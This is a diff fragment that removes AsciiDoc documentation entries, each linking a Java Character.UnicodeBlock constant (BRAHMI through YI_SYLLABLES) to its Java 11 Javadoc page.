-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BRAHMI[BRAHMI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BRAILLE_PATTERNS[BRAILLE_PATTERNS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BUGINESE[BUGINESE]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BUHID[BUHID]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#BYZANTINE_MUSICAL_SYMBOLS[BYZANTINE_MUSICAL_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CARIAN[CARIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CHAKMA[CHAKMA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CHAM[CHAM]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CHEROKEE[CHEROKEE]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_COMPATIBILITY[CJK_COMPATIBILITY]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_COMPATIBILITY_FORMS[CJK_COMPATIBILITY_FORMS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_COMPATIBILITY_IDEOGRAPHS[CJK_COMPATIBILITY_IDEOGRAPHS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT[CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_RADICALS_SUPPLEMENT[CJK_RADICALS_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_STROKES[CJK_STROKES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_SYMBOLS_AND_PUNCTUATION[CJK_SYMBOLS_AND_PUNCTUATION]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_UNIFIED_IDEOGRAPHS[CJK_UNIFIED_IDEOGRAPHS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A[CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B[CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C[CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D[CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#COMBINING_DIACRITICAL_MARKS[COMBINING_DIACRITICAL_MARKS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#COMBINING_DIACRITICAL_MARKS_SUPPLEMENT[COMBINING_DIACRITICAL_MARKS_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#COMBINING_HALF_MARKS[COMBINING_HALF_MARKS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#COMBINING_MARKS_FOR_SYMBOLS[COMBINING_MARKS_FOR_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#COMMON_INDIC_NUMBER_FORMS[COMMON_INDIC_NUMBER_FORMS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CONTROL_PICTURES[CONTROL_PICTURES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#COPTIC[COPTIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#COUNTING_ROD_NUMERALS[COUNTING_ROD_NUMERALS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CUNEIFORM[CUNEIFORM]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CUNEIFORM_NUMBERS_AND_PUNCTUATION[CUNEIFORM_NUMBERS_AND_PUNCTUATION]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CURRENCY_SYMBOLS[CURRENCY_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CYPRIOT_SYLLABARY[CYPRIOT_SYLLABARY]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CYRILLIC[CYRILLIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CYRILLIC_EXTENDED_A[CYRILLIC_EXTENDED_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CYRILLIC_EXTENDED_B[CYRILLIC_EXTENDED_B]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#CYRILLIC_SUPPLEMENTARY[CYRILLIC_SUPPLEMENTARY]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#DESERET[DESERET]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#DEVANAGARI[DEVANAGARI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#DEVANAGARI_EXTENDED[DEVANAGARI_EXTENDED]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#DINGBATS[DINGBATS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#DOMINO_TILES[DOMINO_TILES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#EGYPTIAN_HIEROGLYPHS[EGYPTIAN_HIEROGLYPHS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#EMOTICONS[EMOTICONS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ENCLOSED_ALPHANUMERICS[ENCLOSED_ALPHANUMERICS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ENCLOSED_ALPHANUMERIC_SUPPLEMENT[ENCLOSED_ALPHANUMERIC_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ENCLOSED_CJK_LETTERS_AND_MONTHS[ENCLOSED_CJK_LETTERS_AND_MONTHS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ENCLOSED_IDEOGRAPHIC_SUPPLEMENT[ENCLOSED_IDEOGRAPHIC_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ETHIOPIC[ETHIOPIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ETHIOPIC_EXTENDED[ETHIOPIC_EXTENDED]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ETHIOPIC_EXTENDED_A[ETHIOPIC_EXTENDED_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ETHIOPIC_SUPPLEMENT[ETHIOPIC_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GENERAL_PUNCTUATION[GENERAL_PUNCTUATION]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GEOMETRIC_SHAPES[GEOMETRIC_SHAPES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GEORGIAN[GEORGIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GEORGIAN_SUPPLEMENT[GEORGIAN_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GLAGOLITIC[GLAGOLITIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GOTHIC[GOTHIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GREEK[GREEK]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GREEK_EXTENDED[GREEK_EXTENDED]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GUJARATI[GUJARATI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#GURMUKHI[GURMUKHI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HALFWIDTH_AND_FULLWIDTH_FORMS[HALFWIDTH_AND_FULLWIDTH_FORMS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HANGUL_COMPATIBILITY_JAMO[HANGUL_COMPATIBILITY_JAMO]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HANGUL_JAMO[HANGUL_JAMO]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HANGUL_JAMO_EXTENDED_A[HANGUL_JAMO_EXTENDED_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HANGUL_JAMO_EXTENDED_B[HANGUL_JAMO_EXTENDED_B]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HANGUL_SYLLABLES[HANGUL_SYLLABLES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HANUNOO[HANUNOO]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HEBREW[HEBREW]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HIGH_PRIVATE_USE_SURROGATES[HIGH_PRIVATE_USE_SURROGATES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HIGH_SURROGATES[HIGH_SURROGATES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#HIRAGANA[HIRAGANA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#IDEOGRAPHIC_DESCRIPTION_CHARACTERS[IDEOGRAPHIC_DESCRIPTION_CHARACTERS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#IMPERIAL_ARAMAIC[IMPERIAL_ARAMAIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#INSCRIPTIONAL_PAHLAVI[INSCRIPTIONAL_PAHLAVI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#INSCRIPTIONAL_PARTHIAN[INSCRIPTIONAL_PARTHIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#IPA_EXTENSIONS[IPA_EXTENSIONS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#JAVANESE[JAVANESE]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KAITHI[KAITHI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KANA_SUPPLEMENT[KANA_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KANBUN[KANBUN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KANGXI_RADICALS[KANGXI_RADICALS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KANNADA[KANNADA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KATAKANA[KATAKANA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KATAKANA_PHONETIC_EXTENSIONS[KATAKANA_PHONETIC_EXTENSIONS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KAYAH_LI[KAYAH_LI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KHAROSHTHI[KHAROSHTHI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KHMER[KHMER]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#KHMER_SYMBOLS[KHMER_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LAO[LAO]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LATIN_1_SUPPLEMENT[LATIN_1_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LATIN_EXTENDED_A[LATIN_EXTENDED_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LATIN_EXTENDED_ADDITIONAL[LATIN_EXTENDED_ADDITIONAL]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LATIN_EXTENDED_B[LATIN_EXTENDED_B]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LATIN_EXTENDED_C[LATIN_EXTENDED_C]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LATIN_EXTENDED_D[LATIN_EXTENDED_D]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LEPCHA[LEPCHA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LETTERLIKE_SYMBOLS[LETTERLIKE_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LIMBU[LIMBU]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LINEAR_B_IDEOGRAMS[LINEAR_B_IDEOGRAMS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LINEAR_B_SYLLABARY[LINEAR_B_SYLLABARY]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LISU[LISU]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LOW_SURROGATES[LOW_SURROGATES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LYCIAN[LYCIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#LYDIAN[LYDIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MAHJONG_TILES[MAHJONG_TILES]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MALAYALAM[MALAYALAM]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MANDAIC[MANDAIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MATHEMATICAL_ALPHANUMERIC_SYMBOLS[MATHEMATICAL_ALPHANUMERIC_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MATHEMATICAL_OPERATORS[MATHEMATICAL_OPERATORS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MEETEI_MAYEK[MEETEI_MAYEK]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MEETEI_MAYEK_EXTENSIONS[MEETEI_MAYEK_EXTENSIONS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MEROITIC_CURSIVE[MEROITIC_CURSIVE]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MEROITIC_HIEROGLYPHS[MEROITIC_HIEROGLYPHS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MIAO[MIAO]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A[MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B[MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MISCELLANEOUS_SYMBOLS[MISCELLANEOUS_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MISCELLANEOUS_SYMBOLS_AND_ARROWS[MISCELLANEOUS_SYMBOLS_AND_ARROWS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS[MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MISCELLANEOUS_TECHNICAL[MISCELLANEOUS_TECHNICAL]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MODIFIER_TONE_LETTERS[MODIFIER_TONE_LETTERS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MONGOLIAN[MONGOLIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MUSICAL_SYMBOLS[MUSICAL_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MYANMAR[MYANMAR]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#MYANMAR_EXTENDED_A[MYANMAR_EXTENDED_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#NEW_TAI_LUE[NEW_TAI_LUE]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#NKO[NKO]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#NUMBER_FORMS[NUMBER_FORMS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#OGHAM[OGHAM]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#OLD_ITALIC[OLD_ITALIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#OLD_PERSIAN[OLD_PERSIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#OLD_SOUTH_ARABIAN[OLD_SOUTH_ARABIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#OLD_TURKIC[OLD_TURKIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#OL_CHIKI[OL_CHIKI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#OPTICAL_CHARACTER_RECOGNITION[OPTICAL_CHARACTER_RECOGNITION]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#ORIYA[ORIYA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#OSMANYA[OSMANYA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#PHAGS_PA[PHAGS_PA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#PHAISTOS_DISC[PHAISTOS_DISC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#PHOENICIAN[PHOENICIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#PHONETIC_EXTENSIONS[PHONETIC_EXTENSIONS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#PHONETIC_EXTENSIONS_SUPPLEMENT[PHONETIC_EXTENSIONS_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#PLAYING_CARDS[PLAYING_CARDS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#PRIVATE_USE_AREA[PRIVATE_USE_AREA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#REJANG[REJANG]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#RUMI_NUMERAL_SYMBOLS[RUMI_NUMERAL_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#RUNIC[RUNIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SAMARITAN[SAMARITAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SAURASHTRA[SAURASHTRA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SHARADA[SHARADA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SHAVIAN[SHAVIAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SINHALA[SINHALA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SMALL_FORM_VARIANTS[SMALL_FORM_VARIANTS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SORA_SOMPENG[SORA_SOMPENG]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SPACING_MODIFIER_LETTERS[SPACING_MODIFIER_LETTERS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SPECIALS[SPECIALS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUNDANESE[SUNDANESE]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUNDANESE_SUPPLEMENT[SUNDANESE_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUPERSCRIPTS_AND_SUBSCRIPTS[SUPERSCRIPTS_AND_SUBSCRIPTS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUPPLEMENTAL_ARROWS_A[SUPPLEMENTAL_ARROWS_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUPPLEMENTAL_ARROWS_B[SUPPLEMENTAL_ARROWS_B]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUPPLEMENTAL_MATHEMATICAL_OPERATORS[SUPPLEMENTAL_MATHEMATICAL_OPERATORS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUPPLEMENTAL_PUNCTUATION[SUPPLEMENTAL_PUNCTUATION]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUPPLEMENTARY_PRIVATE_USE_AREA_A[SUPPLEMENTARY_PRIVATE_USE_AREA_A]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SUPPLEMENTARY_PRIVATE_USE_AREA_B[SUPPLEMENTARY_PRIVATE_USE_AREA_B]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SYLOTI_NAGRI[SYLOTI_NAGRI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#SYRIAC[SYRIAC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAGALOG[TAGALOG]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAGBANWA[TAGBANWA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAGS[TAGS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAI_LE[TAI_LE]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAI_THAM[TAI_THAM]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAI_VIET[TAI_VIET]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAI_XUAN_JING_SYMBOLS[TAI_XUAN_JING_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAKRI[TAKRI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TAMIL[TAMIL]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TELUGU[TELUGU]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#THAANA[THAANA]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#THAI[THAI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TIBETAN[TIBETAN]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TIFINAGH[TIFINAGH]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#TRANSPORT_AND_MAP_SYMBOLS[TRANSPORT_AND_MAP_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#UGARITIC[UGARITIC]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS[UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED[UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#VAI[VAI]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#VARIATION_SELECTORS[VARIATION_SELECTORS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#VARIATION_SELECTORS_SUPPLEMENT[VARIATION_SELECTORS_SUPPLEMENT]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#VEDIC_EXTENSIONS[VEDIC_EXTENSIONS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#VERTICAL_FORMS[VERTICAL_FORMS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#YIJING_HEXAGRAM_SYMBOLS[YIJING_HEXAGRAM_SYMBOLS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#YI_RADICALS[YI_RADICALS]
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#YI_SYLLABLES[YI_SYLLABLES]
